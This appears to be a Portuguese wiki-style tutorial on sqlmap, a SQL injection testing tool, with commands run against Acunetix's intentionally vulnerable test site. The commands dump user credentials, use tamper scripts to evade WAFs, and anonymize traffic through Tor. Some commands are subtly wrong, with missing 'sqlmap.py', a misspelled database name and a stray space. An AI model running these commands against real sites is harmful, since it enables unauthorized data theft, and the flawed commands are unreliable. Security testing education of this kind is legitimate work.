# Sqlmap

Sqlmap é uma ferramenta open source para teste de penetração que automatiza o processo de detecção e exploração de vulnerabilidades de Injeção de SQL, permitindo a invasão de banco de dados de sites.

## O que é Sqlmap

Sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.

## Uso

O Sqlmap pode ser usado tanto para o bem, quanto para o mal.
Por outro lado, como o programa apresenta informações sigilosas, qualquer um que tenha conhecimento de como usar esta ferramenta pode descobrir dados sigilosos, como senhas e contas de usuários e outras informações valiosas no Banco de Dados. Com essas informações, o Hacker pode alterar senhas, apagar bancos de dados inteiros e até conseguir acesso ao servidor da vítima.

## Principais Características

* Suporte total aos Sistemas de Gerenciamentos de Banco de Dados (SGBD): MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird e SAP MaxDB;
* Suporte a enumeração de usuários, hashes de senha, privilégios, bancos de dados, tabelas e colunas;
* Suporte total a seis técnicas de injeção SQL: boolean-based blind, time-based blind, error-based, UNION query, stacked queries e out-of-band;
* Suporte a conexão direta ao banco de dados, sem passar por uma injeção de SQL, fornecendo as credenciais do SGBD, endereço IP, porta e nome do banco.
* Suporte a reconhecimento automático de formatos de hash de senha e suporte para quebrá-los usando um ataque baseado em dicionário.
* Suporte a script tampers para alterar os scripts de injeção e torná-los possivelmente indetectável por sistemas de WAF ou contornar sanitização de entrada de dados que evitariam a injeção dos scripts.
* Suporte a Tor Network, permitindo disparar testes de forma anonimizada.

## Funcionamento

O Sqlmap é escrito em Python, sendo assim, pode ser utilizado tanto em Sistemas Windows como GNU Linux. Para tanto, basta baixar e configurar o Python em sua máquina (se Windows colocar o caminho do Python na variável path em variáveis de ambiente do sistema, baixar e extrair a última versão do Sqlmap em sqlmap.org.
Após extrair o Sqlmap e configurar o Python, é só abrir um prompt de comando, navegar até o caminho onde se encontra o sqlmap e digitar:
* python sqlmap.py [opções]

### Algumas opções

| -h | Ajuda |
| -u | URL |
| -o | Ativa todas opções de otimização de conexão |
| --random-agent | Forja um agente de navegador web aleatório para contornar alguns mecanismos de defesa |
| --dbs | Base de dados |
| --tables | tabelas |
| --columns | colunas |

### Exemplos Gerais

* Testar a aplicação
* C:\pentest\sqlmap>python sqlmap.py
* Se tudo tiver dado certo, você receberá a seguinte mensagem:
* Retorno:
* sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help
* Press Enter to continue...
* O que significa apenas que faltou uma opção obrigatória ao comando.
Obs.: vamos utilizar o site de testes da Acunetix, esse site foi feito para testes de vulnerabilidades.
* Listar as bases de dados presentes na aplicação:
* C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= --dbs
* Retorno:
* acuart
* information_schema
* Listar as tabelas da base de dados acuart:
* C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= -D acurt --tables
* Retorno:
* artists
* carts ...
* users
* Listar as colunas da tabela users:
* C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= -D acurt -T users -- columns
* Retorno:
* address
* cart ...
* uname
* pass
* Extrair os dados uname e pass da tabela users:
* C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= -D acurt -T users -C "uname,pass" --dump
* Retorno:
* test | test

### Exemplos para contornar defesas

* Teste Utilizando uma script de tamper para contornar defesas em múltiplos tipos de banco de dados:
* C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= --tamper=space2comment
* Teste Utilizando um conjunto de script tampers para contornar defesas quando o alvo utiliza MySQL:
* C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= --tamper=between,randomcase,space2comment

### Exemplos otimizar a performance nos testes

* Teste Utilizando parâmetros para aumentar a performance do teste:
* C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= --threads=10 -o --batch -p cat --skip-waf
* Explicação de parâmetros:
* --threads=10 : Utiliza 10 processos simultâneos
* --o : Ativa diversas configurações para conexões mais rápidas
* --batch : Automatiza respostas no wizard de teste da ferramenta
* -p cat : Foca o teste somente no parâmetro que queremos testar
* --skip-waf : Pula o teste de WAF

### Exemplo de teste anonimizando a origem das conexões pela Rede Tor

* Teste Utilizando um conjunto de script tampers para contornar defesas quando o alvo utiliza MySQL:
* C:\pentest\sqlmap>python --tor --check-tor --url http://testphp.vulnweb.com/listproducts.php?cat=
* Observação 1: É necessário ter o Tor instalado previamente na máquina
* Observação 2: Pela Tor a conexão torna-se mais lenta e instável o que pode afetar a qualidade do teste. Para melhorar este aspecto, podemos utilizar os seguintes parâmetros para aumentar a estabilidade do teste a custo de alguma performance: --time-sec=15 --timeout=45 --retries=4